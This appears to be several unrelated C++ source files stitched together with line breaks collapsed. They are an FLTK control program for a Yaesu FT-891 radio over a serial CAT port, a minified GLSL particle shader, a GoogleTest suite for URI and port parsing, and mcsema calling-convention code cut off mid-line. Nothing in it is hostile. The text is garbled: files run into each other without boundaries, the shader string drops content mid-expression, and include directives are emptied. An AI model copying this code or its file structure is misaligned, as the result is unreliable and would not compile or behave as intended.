m_port.writeString(Menu::ReadPEQ1Freq()); m_port.writeString(Menu::ReadPEQ2Freq()); m_port.writeString(Menu::ReadPEQ3Freq()); m_port.writeString(Menu::ReadPEQ1Bwth()); m_port.writeString(Menu::ReadPEQ2Bwth()); m_port.writeString(Menu::ReadPEQ3Bwth()); m_port.writeString(Menu::ReadPEQ1Level()); m_port.writeString(Menu::ReadPEQ2Level()); m_port.writeString(Menu::ReadPEQ3Level()); } else if(tabs->value() == EQGroup & EQGroupLoaded == false) { EQGroupLoaded = true; m_port.writeString(Menu::ReadAMLowCutFreq()); m_port.writeString(Menu::ReadAMLowCutSlope()); m_port.writeString(Menu::ReadAMHighCutFreq()); m_port.writeString(Menu::ReadAMHighCutSlope()); m_port.writeString(Menu::ReadAMOutLevel()); m_port.writeString(Menu::ReadCWLowCutFreq()); m_port.writeString(Menu::ReadCWLowCutSlope()); m_port.writeString(Menu::ReadCWHighCutFreq()); m_port.writeString(Menu::ReadCWHighCutSlope()); m_port.writeString(Menu::ReadCWOutLevel()); m_port.writeString(Menu::ReadRTTYLowCutFreq()); m_port.writeString(Menu::ReadRTTYLowCutSlope()); m_port.writeString(Menu::ReadRTTYHighCutFreq()); m_port.writeString(Menu::ReadRTTYHighCutSlope()); m_port.writeString(Menu::ReadRTTYOutLevel()); m_port.writeString(Menu::ReadDATALowCutFreq()); m_port.writeString(Menu::ReadDATALowCutSlope()); m_port.writeString(Menu::ReadDATAHighCutFreq()); m_port.writeString(Menu::ReadDATAHighCutSlope()); m_port.writeString(Menu::ReadDATAOutLevel()); m_port.writeString(Menu::ReadSSBLowCutFreq()); m_port.writeString(Menu::ReadSSBLowCutSlope()); m_port.writeString(Menu::ReadSSBHighCutFreq()); m_port.writeString(Menu::ReadSSBHighCutSlope()); m_port.writeString(Menu::ReadSSBOutLevel()); } else if(tabs->value() == CWSettingsTab & CWGroupLoaded == false) { CWGroupLoaded = true; m_port.writeString(Menu::ReadQSKDelayTime()); m_port.writeString(Menu::ReadCWBreakInType()); m_port.writeString(Menu::ReadCWWaveShape()); m_port.writeString(Menu::ReadCWFreqDisplay()); m_port.writeString(Menu::ReadKeyerType()); m_port.writeString(Menu::ReadKeyerDotDash()); m_port.writeString(Menu::ReadCwWeight()); m_port.writeString(Menu::ReadCWMemory1()); m_port.writeString(Menu::ReadCWMemory2()); m_port.writeString(Menu::ReadCWMemory3()); m_port.writeString(Menu::ReadCWMemory4()); m_port.writeString(Menu::ReadCWMemory5()); m_port.writeString(KeyerMemory::Read(1)); m_port.writeString(KeyerMemory::Read(2)); m_port.writeString(KeyerMemory::Read(3)); m_port.writeString(KeyerMemory::Read(4)); m_port.writeString(KeyerMemory::Read(5)); } else if(tabs->value() == OutputPowerG & PowerGroupLoaded == false ) { PowerGroupLoaded = true; m_port.writeString(Menu::ReadHfPwr()); m_port.writeString(Menu::ReadHfAmPwr()); m_port.writeString(Menu::ReadHfSsbPwr()); m_port.writeString(Menu::Read50mPwr()); m_port.writeString(Menu::Read50mAmPwr()); m_port.writeString(Menu::Read50mSsbPwr()); } else if(tabs->value() == Lighting & LightingGrouploaded == false) { LightingGrouploaded = true; m_port.writeString(Menu::ReadBackliteDimmer()); m_port.writeString(Menu::ReadLcdDimmer()); m_port.writeString(Menu::ReadTxBusyDimmer()); m_port.writeString(Menu::ReadLcdContrast()); m_port.writeString(Menu::ReadApo()); m_port.writeString(Menu::ReadLcdDimmer()); m_port.writeString(Menu::ReadFanControl()); m_port.writeString(Menu::ReadMemGroup()); m_port.writeString(Menu::ReadFMSetting()); m_port.writeString(Menu::ReadRecSetting()); m_port.writeString(Menu::ReadATASSetting()); m_port.writeString(Menu::ReadTXTOT()); m_port.writeString(Menu::ReadMicScan()); m_port.writeString(Menu::ReadMicScanResume()); m_port.writeString(Menu::ReadDataMode()); m_port.writeString(Menu::ReadPSKTone()); m_port.writeString(Menu::ReadAgcFastDelay()); m_port.writeString(Menu::ReadAgcMidDelay()); m_port.writeString(Menu::ReadAgcSlowDelay()); } } void FT891::BuildCatSettings(int w, int h) { int y = 60; int iStart = 15; int sliderTop = (h - y - 320); int slidery = h - 320 - 15; int sliderHeight = 320; int sliderWidth = 45; int sliderGap = 20 + sliderWidth; int choiceWidth = (sliderWidth * 2) + 5; int choiceHeight = 30; int choiceX = iStart; CatSettingsTab = new Fl_Group(0, y, w, (h - y), "Cat Settings"); y += choiceHeight; AMPTTSelect = new Fl_Choice(iStart,y,choiceWidth,choiceHeight,"AM PTT"); AMPTTSelect->add("DAKY", 0, OnChoice, this, 0); AMPTTSelect->add("RTS", 0, OnChoice, this, 0); AMPTTSelect->add("DTR", 0, OnChoice, this, 0); AMPTTSelect->align(FL_ALIGN_TOP); DATAPTTSelect = new Fl_Choice(AMPTTSelect->x() + choiceWidth + 20,y,choiceWidth,choiceHeight,"DATA PTT"); DATAPTTSelect->add("DAKY", 0, OnChoice, this, 0); DATAPTTSelect->add("RTS", 0, OnChoice, this, 0); DATAPTTSelect->add("DTR", 0, OnChoice, this, 0); DATAPTTSelect->align(FL_ALIGN_TOP); PktPTTSelect = new Fl_Choice(DATAPTTSelect->x() + choiceWidth + 20,y,choiceWidth,choiceHeight,"PKT PTT"); PktPTTSelect->add("DAKY", 0, OnChoice, this, 0); PktPTTSelect->add("RTS", 0, OnChoice, this, 0); PktPTTSelect->add("DTR", 0, OnChoice, this, 0); PktPTTSelect->align(FL_ALIGN_TOP); PCKeying = new Fl_Choice(PktPTTSelect->x() + choiceWidth + 20, PktPTTSelect->y() , choiceWidth, choiceHeight, "PC Keying"); PCKeying->add("OFF", 0, OnChoice, this, 0); PCKeying->add("DAKY", 0, OnChoice, this, 0); PCKeying->add("RTS", 0, OnChoice, this, 0); PCKeying->add("DTR", 0, OnChoice, this, 0); PCKeying->align(FL_ALIGN_TOP); SSBPTTSelect = new Fl_Choice(PCKeying->x() + choiceWidth + 20,y,choiceWidth,choiceHeight,"PKT PTT"); SSBPTTSelect->add("DAKY", 0, OnChoice, this, 0); SSBPTTSelect->add("RTS", 0, OnChoice, this, 0); SSBPTTSelect->add("DTR", 0, OnChoice, this, 0); SSBPTTSelect->align(FL_ALIGN_TOP); CatRateSelect = new Fl_Choice(SSBPTTSelect->x() + choiceWidth + 20, y, choiceWidth, choiceHeight, "CAT Rate"); CatRateSelect->add("4800 bps", 0, OnChoice, this, 0); CatRateSelect->add("9600 bps", 0, OnChoice, this, 0); CatRateSelect->add("19200 bps", 0, OnChoice, this, 0); CatRateSelect->add("38400 bps", 0, OnChoice, this, 0); CatRateSelect->align(FL_ALIGN_TOP); y += choiceHeight + 20; CatTOTSelect = new Fl_Choice(AMPTTSelect->x(), y, choiceWidth, choiceHeight,"CAT TOT"); CatTOTSelect->add("10 ms", 0, OnChoice, this, 0); CatTOTSelect->add("100 ms", 0, OnChoice, this, 0); CatTOTSelect->add("1000 ms", 0, OnChoice, this, 0); CatTOTSelect->add("3000 ms", 0, OnChoice, this, 0); CatTOTSelect->align(FL_ALIGN_TOP); } void FT891::Init() { MemoryChannelEdit = false; m_port.writeString(AutoInformation::Set(InformationState::ON)); m_port.writeString(Menu::ReadSSBBFO()); m_port.writeString(Menu::ReadCWBFO()); m_port.writeString(Menu::ReadDATABFO()); m_port.writeString(Menu::ReadRTTYBFO()); m_port.writeString(Menu::ReadClarSelect()); m_port.writeString(Clarifier::Read()); m_port.writeString(INFORMATION::Read()); m_port.writeString(VFO_B_FREQ::Read()); m_port.writeString(MeterSW::Read()); m_port.writeString(RFGain::Read()); m_port.writeString(SquelchLevel::Read()); m_port.writeString(Narrow::Read()); m_port.writeString(Width::Read()); m_port.writeString(PreAmp::Read()); m_port.writeString(NoiseReduction::Read()); m_port.writeString(NoiseBlankerStatus::Read()); m_port.writeString(RFAttenuator::Read()); m_port.writeString(FAST_STEP::Read()); m_port.writeString(MonitorLevel::Read(MonitorFunction::MontiorOnOff)); m_port.writeString(MonitorLevel::Read(MonitorFunction::MontiorLevel)); m_port.writeString(SpeechProcessor::Read(SpeechProcessorType::Processor)); m_port.writeString(SpeechProcessor::Read(SpeechProcessorType::ParametricEqualizer)); m_port.writeString(VolumeLevel::Read()); m_port.writeString(VoxStatus::Read()); m_port.writeString(VFODialLock::Read()); m_port.writeString(Split::Read()); } void FT891::BuildUI(int w, int h) { this->label("FT-891 Control"); Tabs = new Fl_Tabs(0, 15, w, (h - 15),""); Tabs->callback((Fl_Callback*)&::OnTabChanged, this); BuildGeneralGroup(w,h); BuildPowerGroup(w,h); BuildLightingGroup(w,h); BuildRxEQGroup(w,h); BuildTXEQGroup(w,h); BuildCWSettings(w,h); BuildCatSettings(w, h); Tabs->show(); Tabs->end(); end(); } FT891::FT891(int w, int h) : Fl_Double_Window(w, h), m_port("COM10", 38400), CatSettingsLoaded(false), TXEQGroupLoaded(false), EQGroupLoaded(false), CWGroupLoaded(false), LightingGrouploaded(false), PowerGroupLoaded(false) { BuildUI(w,h); m_port.setCallback(std::bind(&FT891::readCallback, this, _1, _2)); ReadPowerSwitch(); } FT891::FT891(int w, int h, string prt, int speed) : Fl_Double_Window(w, h), m_port(prt, speed), CatSettingsLoaded(false), TXEQGroupLoaded(false), EQGroupLoaded(false), CWGroupLoaded(false), LightingGrouploaded(false), PowerGroupLoaded(false) { BuildUI(w,h); if(m_port.isOpen()) { std::fstream fs("FT891.ini", std::ios::out); fs << "[PORTSETTINGS]" << std::endl; fs << "Port = " << prt << std::endl; fs << "Baud = " << speed << std::endl; fs.flush(); fs.close(); } m_port.setCallback(std::bind(&FT891::readCallback, this, _1, _2)); ReadPowerSwitch(); } void FT891::OnPowerButtonClick(Fl_Light_Button* o, void* v) { if (o->value() == 0) { PowerDown(); m_port.writeString(AutoInformation::Set(InformationState::OFF)); } else { PowerUp(); ReadPowerSwitch(); } } int arg_parser( int argc, char** argv, int &i ) { return 0; } int main(int argc, char** argv) { std::string port ; int baud = 0; try { std::fstream fs("FT891.ini"); if(!fs.is_open()) { ComPortDialog* dlg = new ComPortDialog(); dlg->set_modal(); dlg->show(); while(dlg->shown()) Fl::wait(); port = dlg->m_PortName; switch(dlg->Rate) { case Yaesu::FT891::Commands::CatRateValue::_19200bps: baud = 19200; break; case Yaesu::FT891::Commands::CatRateValue::_38400bps: baud = 38400; break; case Yaesu::FT891::Commands::CatRateValue::_4800bps: baud = 4800; break; case Yaesu::FT891::Commands::CatRateValue::_9600bps: baud = 9600; break; } } else { fs.close(); using boost::property_tree::ptree; ptree pt; read_ini("FT891.ini", pt); for (auto& section : pt) { if(section.first.find("PORTSETTINGS") != string::npos) { for(auto& key : section.second) { if(key.first.find("Port") != string::npos) { port = key.second.get_value(); } if(key.first.find("Baud") != string::npos) { baud = key.second.get_value(); } } } } } if(!port.empty()) { FT891* MyWindow = new FT891(700, 600, port, baud); int arg_i; Fl::args( argc, argv, arg_i, &arg_parser ); MyWindow->show(argc, argv); return Fl::run(); } else { std::string msg = "No Port provided"; MessageBox(nullptr,msg.c_str(),"FT891", MB_OK | MB_ICONERROR ); } } catch(const std::exception& e) { std::string msg = e.what(); if(msg.find("could not find port") != string::npos) { MessageBox(nullptr,"The port provided doesn't exist on your machine. Please ensure that the radio has a proper connection to the computer","FT891", MB_OK | MB_ICONERROR); } else if(msg.find("Access is denied") != string::npos) { MessageBox(nullptr,"The com port provided is in use. Either there's another instance of this application running, or some other application has control over the com port.", "FT891", MB_OK | MB_ICONERROR); } else { msg = msg.replace(msg.find("open:"), strlen("open:"), port); MessageBox(nullptr,msg.c_str(),"FT891", MB_OK | MB_ICONERROR ); } } }/* File generated with Shader Minifier 1.1.4 * http://www.ctrl-alt-test.fr */ #ifndef PARTICLE_DYNAMICS_VS_HPP_ # define PARTICLE_DYNAMICS_VS_HPP_ const char *particle_dynamics_vs = "#version 330\n" "float s(float v,float m)" "{" "float i=m/4.*60.,f=15.,c=.8;" "return smoothstep(-f/2.,-f*(1.-c)/2.,-abs(v-i-f*.5));" "}" "vec3 s(float m)" "{" "float v=m+2.;" "vec3 f=vec3(v,v*v,v*v*v),c=fract(f*222.)+vec3(2.);" "return fract(f*c.yzx*c.zxy);" "}" "float n(float m)" "{" "return m/44100;" "}" "float v(float m)" "{" "return 1.-smoothstep(0.,4.,m);" "}" "float f(float m)" "{" "float f=60.-m;" "return 1.-smoothstep(0.,4.,f);" "}" "vec3 i(float v)" "{" "float m=max(s(v,1.),s(v,3.));" "return vec3(sin(6.28319*v*.5)*.2*m,abs(sin(6.28319*v*.5))*.6*m,0.);" "}" "float f(vec3 v,float m)" "{" "vec3 f=pow(abs(v),vec3(m));" "return pow(f.x+f.y+f.z,1/m);" "}" "float i(vec3 v,float m)" "{" "return length(v)-m;" "}" "float n(vec3 v,float m)" "{" "return length(v.yz)-m;" "}" "float v(vec3 v,float m)" "{" "return length(v.xz)-m;" "}" "vec3 m(vec3 m,float v)" "{" "return m-i(v);" "}" "vec3 x(vec3 v,float f)" "{" "vec3 c=m(v,f);" "return vec3(abs(c.x),c.yz);" "}" "float a(vec3 v,float m)" "{" "vec3 f=x(v,m);" "f-=vec3(.2,.2,.42);" "vec3 c=mat3(cos(.3)*cos(-.4),-sin(.3)*cos(-.4),-sin(-.4),sin(.3),cos(.3),0.,cos(.3)*sin(-.4),-sin(.3)*sin(-.4),cos(-.4))*f;" "return max(max(-c.x,c.x-.15),n(c,.014));" "}" "float c(vec3 v,float m)" "{" "vec3 f=x(v,m);" "return min(a(v,m),i(f-vec3(.23,.04,.4),.09));" "}" "float o(vec3 f,float c)" "{" "vec3 n=m(f,c),a=x(f,c);" "float o=abs(sin(c*3.)*3.14159*.5*s(c,1));" "vec3 l=mat3(1.,0.,0.,0.,cos(o),sin(o),0.,-sin(o),cos(o))*(n-vec3(0.,cos(acos(.9))*.5,sin(-acos(.9))*.5))+vec3(0.,cos(acos(.9))*.5,sin(-acos(.9))*.5);" "float p=min(min(max(i(n,.5),n.y-cos(acos(.9))*.5),max(v(n,.15),max(n.y-cos(acos(.9))*.5-.03,-n.y+cos(acos(.9))*.5))),max(max(i(l,.5),-(l.y-cos(acos(.9))*.5)),-max(v(l,.15),max(l.y-cos(acos(.9))*.5-.03,-l.y+cos(acos(.9))*.5-.1))));" "return min(p,i(a-vec3(.045,-.1,.49),.06));" "}" "float t(vec3 m,float v)" "{" "vec3 c=m-vec3(0.,-.5,0.),n=fract(c)*2.-1.;" "return max(f(n,8.)-1.05,c.y);" "}" "float l(vec3 v,float m)" "{" "return min(min(o(v,m),c(v,m)),t(v,m));" "}struct material{vec3 diffuse;vec3 ambient;};" "material p(vec3 v,float m)" "{" "float f=t(v,m),n=o(v,m),a=c(v,m);" "if(n0.)" "{" "out_position=r+t*p*float(c);" "return;" "}" "out_position=in_crnt_pos[2];" "vec3 g=in_crnt_pos[2]-in_prev_pos;" "out_position+=g*.91+vec3(0.,-.0004,0.);" "vec3 u=normalize(out_position-in_crnt_pos[1]);" "out_position=in_crnt_pos[1]+u*p;" "if(c==1)" "out_position=in_crnt_pos[1]+t*p;" "else" " if(c==15)" "{" "vec3 y=in_crnt_pos[1]-in_crnt_pos[0],z=out_position-in_crnt_pos[1],h=(y-z)/3.;" "out_position+=h*.5*.5;" "}" "else" " if(c==14)" "{" "vec3 y=in_crnt_pos[1]-in_crnt_pos[0],z=out_position-in_crnt_pos[1],h=in_crnt_pos[3]-out_position,b=(y-z)/3.+(h-z)*2/3.;" "out_position+=b*.5*.5;" "}" "else" "{" "vec3 y=in_crnt_pos[1]-in_crnt_pos[0],z=out_position-in_crnt_pos[1],h=in_crnt_pos[3]-out_position,b=in_crnt_pos[4]-in_crnt_pos[3],V=(y-z)/3.+(h-z)*2/3.+(h-b)/3.;" "out_position+=V*.5*.5;" "}" "u=normalize(out_position-in_crnt_pos[1]);" "out_position=in_crnt_pos[1]+u*p;" "float z=l(out_position,m);" "const float y=.01;" "if(z #include #include #include TEST(NetUtil_test, compute_new_uri_well_formatted) { { // well formatted std::string uri = "127.0.0.1:1234"; std::string port = ":5678"; std::string new_uri = NetUtil::compute_new_uri(uri, port); EXPECT_EQ(new_uri, "127.0.0.1:5678"); } { // no port digits std::string uri = "127.0.0.1:"; std::string port = ":456"; std::string new_uri = NetUtil::compute_new_uri(uri, port); EXPECT_EQ(new_uri, "127.0.0.1:456"); } { // no :port std::string uri = "127.0.0.1"; std::string port = ":456"; std::string new_uri = NetUtil::compute_new_uri(uri, port); EXPECT_EQ(new_uri, "127.0.0.1:456"); } } TEST(NetUtil_test, uri_is_valid) { EXPECT_FALSE(NetUtil::uri_is_valid("127.0.0.1")); // no colon EXPECT_FALSE(NetUtil::uri_is_valid("127.0.0.1:")); // no port digits EXPECT_TRUE(NetUtil::uri_is_valid("127.0.0.1:1234")); EXPECT_FALSE(NetUtil::uri_is_valid(":1234")); // no ip EXPECT_FALSE(NetUtil::uri_is_valid("127.0.0.1:1023")); // port too low EXPECT_TRUE(NetUtil::uri_is_valid("127.0.0.1:1024")); EXPECT_TRUE(NetUtil::uri_is_valid("127.0.0.1:65535")); EXPECT_FALSE(NetUtil::uri_is_valid("127.0.0.1:65536")); // port too high } TEST(NetUtil_test, ip_port_from_uri) { { // well formatted std::string ip = ""; int32_t port = -1; EXPECT_TRUE(NetUtil::ip_port_from_uri("1.2.3.4:5678", ip, port)); EXPECT_EQ("1.2.3.4", ip); EXPECT_EQ(5678, port); } { // no ip: std::string ip = ""; int32_t port = -1; EXPECT_FALSE(NetUtil::ip_port_from_uri("5678", ip, port)); EXPECT_EQ("", ip); EXPECT_EQ(-1, port); } { // no ip std::string ip = ""; int32_t port = -1; EXPECT_FALSE(NetUtil::ip_port_from_uri(":5678", ip, port)); EXPECT_EQ("", ip); EXPECT_EQ(-1, port); } { // port too low std::string ip = ""; int32_t port = -1; EXPECT_FALSE(NetUtil::ip_port_from_uri("1.2.3.4:678", ip, port)); EXPECT_EQ("", ip); EXPECT_EQ(-1, port); } { // port too high std::string ip = ""; int32_t port = -1; EXPECT_FALSE(NetUtil::ip_port_from_uri("1.2.3.4:65536", ip, port)); EXPECT_EQ("", ip); EXPECT_EQ(-1, port); } { // no :port std::string ip = ""; int32_t port = -1; EXPECT_FALSE(NetUtil::ip_port_from_uri("1.2.3.4", ip, port)); EXPECT_EQ("", ip); EXPECT_EQ(-1, port); } { // no port std::string ip = ""; int32_t port = -1; EXPECT_FALSE(NetUtil::ip_port_from_uri("1.2.3.4:", ip, port)); EXPECT_EQ("", ip); EXPECT_EQ(-1, port); } } int main(int32_t argc, char** argv) { ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); } abhishekvasishtb/mcsema0 /* * Copyright (c) 2017 Trail of Bits, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "mcsema/Arch/ABI.h" #include "mcsema/Arch/Arch.h" #include "mcsema/BC/Util.h" #include "remill/Arch/Arch.h" #include "remill/Arch/Name.h" #include "remill/BC/Util.h" #include "remill/BC/Version.h" #include "remill/OS/OS.h" namespace mcsema { enum ValueKind { kInvalidKind = 0, kI8 = (1 << 0), kI16 = (1 << 1), kI32 = (1 << 2), kI64 = (1 << 3), kF32 = (1 << 4), kF64 = (1 << 5), kF80 = (1 << 6), kVec = (1 << 7), kIntegralLeast32 = kI8 | kI16 | kI32, kIntegralLeast64 = kI8 | kI16 | kI32 | kI64, }; namespace { static ValueKind KindOfValue(llvm::Type *type) { if (!type || type->isPointerTy()) { return (32 == gArch->address_size) ? kI32 : kI64; } else if (type->isVectorTy()) { return kVec; } else if (type->isIntegerTy()) { llvm::DataLayout dl(gModule); switch (dl.getTypeAllocSize(type)) { case 8: return kI64; case 4: return kI32; case 2: return kI16; case 1: return kI8; default: return kInvalidKind; } } else if (type->isX86_FP80Ty()) { return kF80; } else if (type->isDoubleTy()) { return kF64; } else if (type->isFloatTy()) { return kF32; } else { return kInvalidKind; } } static const char *StackPointerName(void) { static const char *sp_name = nullptr; if (sp_name) { return sp_name; } switch (gArch->arch_name) { case remill::kArchAArch64LittleEndian: sp_name = "SP"; break; case remill::kArchX86: case remill::kArchX86_AVX: case remill::kArchX86_AVX512: sp_name = "ESP"; break; case remill::kArchAMD64: case remill::kArchAMD64_AVX: case remill::kArchAMD64_AVX512: sp_name = "RSP"; break; default: LOG(FATAL) << "Can't get stack pointer name for architecture: " << remill::GetArchName(gArch->arch_name); return nullptr; } return sp_name; } static const char *ThreadPointerNameX86(void) { switch (gArch->os_name) { case remill::kOSLinux: return "GS_BASE"; case remill::kOSWindows: return "FS_BASE"; default: return nullptr; } } static const char *ThreadPointerNameAMD64(void) { switch (gArch->os_name) { case remill::kOSLinux: return "FS_BASE"; case remill::kOSWindows: return "GS_BASE"; default: return nullptr; } } static const char *ThreadPointerName(void) { static const char *tp_name = nullptr; if (tp_name) { return tp_name; } switch (gArch->arch_name) { case remill::kArchAArch64LittleEndian: tp_name = "TPIDR_EL0"; break; case remill::kArchX86: case remill::kArchX86_AVX: case remill::kArchX86_AVX512: tp_name = ThreadPointerNameX86(); break; case remill::kArchAMD64: case remill::kArchAMD64_AVX: case remill::kArchAMD64_AVX512: tp_name = ThreadPointerNameAMD64(); break; default: break; } LOG_IF(ERROR, !tp_name) << "Can't get thread pointer name for architecture " << remill::GetArchName(gArch->arch_name) << " and OS " << remill::GetOSName(gArch->os_name); return tp_name; } static uint64_t GetVectorRegSize(void) { switch (gArch->arch_name) { case remill::kArchAMD64: case remill::kArchX86: return 16; case remill::kArchAMD64_AVX: case remill::kArchX86_AVX: return 32; case remill::kArchAMD64_AVX512: case remill::kArchX86_AVX512: return 64; case remill::kArchAArch64LittleEndian: return 16; default: LOG(FATAL) << "Unknown vector register size for arch " << GetArchName(gArch->arch_name); return 0; } } struct VectorRegistersInfo { const char* base_name; size_t num_vec_regs; }; static VectorRegistersInfo GetVectorRegisterInfo() { switch(gArch->arch_name) { case remill::kArchAArch64LittleEndian: return {"V", 32}; case remill::kArchAMD64_AVX: return {"YMM", 16}; case remill::kArchX86_AVX: return {"YMM", 8}; case remill::kArchAMD64_AVX512: return {"ZMM", 32}; case remill::kArchX86_AVX512: return {"ZMM", 8}; default: return {"XMM", 8}; } } // TODO(lukas): Test kVec flag for AArch64 struct CallingConventionInfo { using ConstraintTable = std::vector; struct PackedReturnInfo { std::vector names; llvm::Type *unit_ptr_type; const ValueKind accepted_kinds; }; // Sometimes types will get returned in several registers, even though // there is no indication of it in function signature static const PackedReturnInfo &GetPackedReturn(ValueKind val_kind) { static const PackedReturnInfo not_found = {{}, nullptr, kInvalidKind}; auto ptr_size = static_cast(gArch->address_size); if (gArch->IsX86()) { static const std::vector return_info = { {{"EAX", "EDX"}, llvm::Type::getIntNPtrTy(*gContext, ptr_size), kI64}, }; for (const auto &entry : return_info) { if (entry.accepted_kinds & val_kind) { return entry; } } } return not_found; } const ConstraintTable &GetArgumentTable( llvm::CallingConv::ID cc) const { for (const auto &t : arg_tables) { if (t.first == cc) { return t.second; } } LOG(FATAL) << "Unknown ABI/calling convention: " << cc; return gInvalidTable; } const ConstraintTable &GetReturnTable( llvm::CallingConv::ID cc) const { for (const auto &t : ret_tables) { if (t.first == cc) { return t.second; } } LOG(FATAL) << "Unknown ABI/calling convention: " << cc; return gInvalidTable; } static const CallingConventionInfo &Instance(void) { static CallingConventionInfo instance; return instance; } CallingConventionInfo(const CallingConventionInfo &) = delete; void operator=(const CallingConventionInfo &) = delete; private: CallingConventionInfo(void) { CreateArgumentsConstraintTables(); CreateReturnConstraintTable(); } void CreateArgumentsConstraintTables(void) { const auto &vector_reg_info = GetVectorRegisterInfo(); const auto &vector_base_name = vector_reg_info.base_name; if (gArch->IsAMD64()) { std::vector amd64_sysv_args = { {"RDI", kIntegralLeast64}, {"RSI", kIntegralLeast64}, {"RDX", kIntegralLeast64}, {"RCX", kIntegralLeast64}, {"R8", kIntegralLeast64}, {"R9", kIntegralLeast64} }; for (unsigned i = 0; i < 8; ++i) { auto name = vector_base_name + std::to_string(i); amd64_sysv_args.push_back({name, kF32 | kF64 | kVec}); } arg_tables.emplace_back(llvm::CallingConv::X86_64_SysV, std::move(amd64_sysv_args)); std::vector amd64_win64_args = { {"RCX", kIntegralLeast64}, {"RDX", kIntegralLeast64}, {"R8", kIntegralLeast64}, {"R9", kIntegralLeast64} }; for (auto i = 0U; i < 4; ++i) { auto name = vector_base_name + std::to_string(i); amd64_win64_args.push_back({name, kF32 | kF64 | kVec}); } arg_tables.emplace_back(llvm::CallingConv::Win64, std::move(amd64_win64_args)); } else if (gArch->IsX86()) { std::vector x86_fast_call_args = { {"ECX", kIntegralLeast32}, {"EDX", kIntegralLeast32}, }; arg_tables.emplace_back(llvm::CallingConv::X86_FastCall, std::move(x86_fast_call_args)); std::vector x86_this_call_args = { {"ECX", kIntegralLeast32}, }; arg_tables.emplace_back(llvm::CallingConv::X86_ThisCall, std::move(x86_this_call_args)); // stdcall takes all args on the stack. arg_tables.emplace_back(llvm::CallingConv::X86_StdCall, ConstraintTable{}); // cdecl takes all args on the stack. arg_tables.emplace_back(llvm::CallingConv::C, ConstraintTable{}); } else if (gArch->IsAArch64()) { std::vector aarch64_args = { {"X0", kIntegralLeast64}, {"X1", kIntegralLeast64}, {"X2", kIntegralLeast64}, {"X3", kIntegralLeast64}, {"X4", kIntegralLeast64}, {"X5", kIntegralLeast64}, {"X6", kIntegralLeast64}, {"X7", kIntegralLeast64}, {"D0", kF32 | kF64}, {"D1", kF32 | kF64}, {"D2", kF32 | kF64}, {"D3", kF32 | kF64}, {"D4", kF32 | kF64}, {"D5", kF32 | kF64}, {"D6", kF32 | kF64}, {"D7", kF32 | kF64}, {"D8", kF32 | kF64}, {"D9", kF32 | kF64}, {"D10", kF32 | kF64}, {"D11", kF32 | kF64}, {"D12", kF32 | kF64}, {"D13", kF32 | kF64}, {"D14", kF32 | kF64}, {"D15", kF32 | kF64}, {"D16", kF32 | kF64}, {"D17", kF32 | kF64}, {"D18", kF32 | kF64}, {"D19", kF32 | kF64}, {"D20", kF32 | kF64}, {"D21", kF32 | kF64}, {"D22", kF32 | kF64}, {"D23", kF32 | kF64}, {"D24", kF32 | kF64}, {"D25", kF32 | kF64}, {"D26", kF32 | kF64}, {"D27", kF32 | kF64}, {"D28", kF32 | kF64}, {"D29", kF32 | kF64}, {"D30", kF32 | kF64}, {"D31", kF32 | kF64}, }; for(auto i = 0U; i < 8; ++i) { auto vec_reg_name = vector_base_name + std::to_string(i); aarch64_args.push_back({vec_reg_name, kVec}); } arg_tables.emplace_back(llvm::CallingConv::C, std::move(aarch64_args)); } } void CreateReturnConstraintTable(void) { const auto &vector_reg_info = GetVectorRegisterInfo(); size_t size = vector_reg_info.num_vec_regs; const auto &vector_base_name = vector_reg_info.base_name; if (gArch->IsAMD64()) { ConstraintTable sysv64_table = { {"RAX", kIntegralLeast64}, {"RDX", kIntegralLeast64} }; for (auto i = 0U; i < size; ++i) { auto name = vector_base_name + std::to_string(i); sysv64_table.push_back({name, kF32 | kF64 | kVec}); } sysv64_table.push_back({"ST0", kF80}); sysv64_table.push_back({"ST1", kF80}); ret_tables.emplace_back(llvm::CallingConv::X86_64_SysV, std::move(sysv64_table)); ConstraintTable win64_table = {{"RAX", kIntegralLeast64}}; for (auto i = 0U; i < size; ++i) { auto name = vector_base_name + std::to_string(i); win64_table.push_back({name, kF32 | kF64 | kVec}); } win64_table.push_back({"ST0", kF80}); ret_tables.emplace_back(llvm::CallingConv::Win64, std::move(win64_table)); } else if (gArch->IsX86()) { ConstraintTable x86_table = { {"EAX", kIntegralLeast32}, {"ST0", kF80}, }; ret_tables.emplace_back(llvm::CallingConv::X86_StdCall, x86_table); ret_tables.emplace_back(llvm::CallingConv::X86_FastCall, x86_table); ret_tables.emplace_back(llvm::CallingConv::X86_ThisCall, std::move(x86_table)); ConstraintTable cdecl_table = { {"EAX", kIntegralLeast32 | kF32}, {"ST0", kF80}, }; ret_tables.emplace_back(llvm::CallingConv::C, std::move(cdecl_table)); } else if (gArch->IsAArch64()) { ConstraintTable AArch64_table = { {"X0", kIntegralLeast64}, {"D0", kF64}, {"S0", kF32}, }; ret_tables.emplace_back(llvm::CallingConv::C, std::move(AArch64_table)); } } std::vector> arg_tables; std::vector> ret_tables; static const ConstraintTable gInvalidTable; }; const CallingConventionInfo::ConstraintTable CallingConventionInfo::gInvalidTable; static uint64_t DefaultUsedStackBytes(llvm::CallingConv::ID cc) { switch (cc) { case llvm::CallingConv::X86_64_SysV: return 8; // Size of return address on the stack. case llvm::CallingConv::Win64: return 8 + 32; // Return address + shadow space. case llvm::CallingConv::X86_FastCall: case llvm::CallingConv::X86_StdCall: case llvm::CallingConv::X86_ThisCall: return 4; // Size of return address on the stack. default: return 0; } } static llvm::Type* RetrieveArgumentType(llvm::Type *original_type, unsigned index) { if (original_type->isPointerTy()) { return original_type; } if (auto struct_type = llvm::dyn_cast(original_type)) { return struct_type->getElementType(index); } else { return original_type; } } // llvm::CompositeType as common parent does not provide getNumElements static uint64_t GetNumberOfElements(llvm::Type* original_type) { if (auto struct_type = llvm::dyn_cast(original_type)) { return struct_type->getNumElements(); } else { return 1; } } static void ExtractFromVector(llvm::BasicBlock *block, llvm::Value *ret_val, llvm::Value *reg_ptr, size_t count, size_t start=0) { llvm::IRBuilder<> ir(block); for (size_t i = 0; i < count; ++i) { auto offset = ir.CreateGEP(reg_ptr, GetConstantInt(64, i)); auto 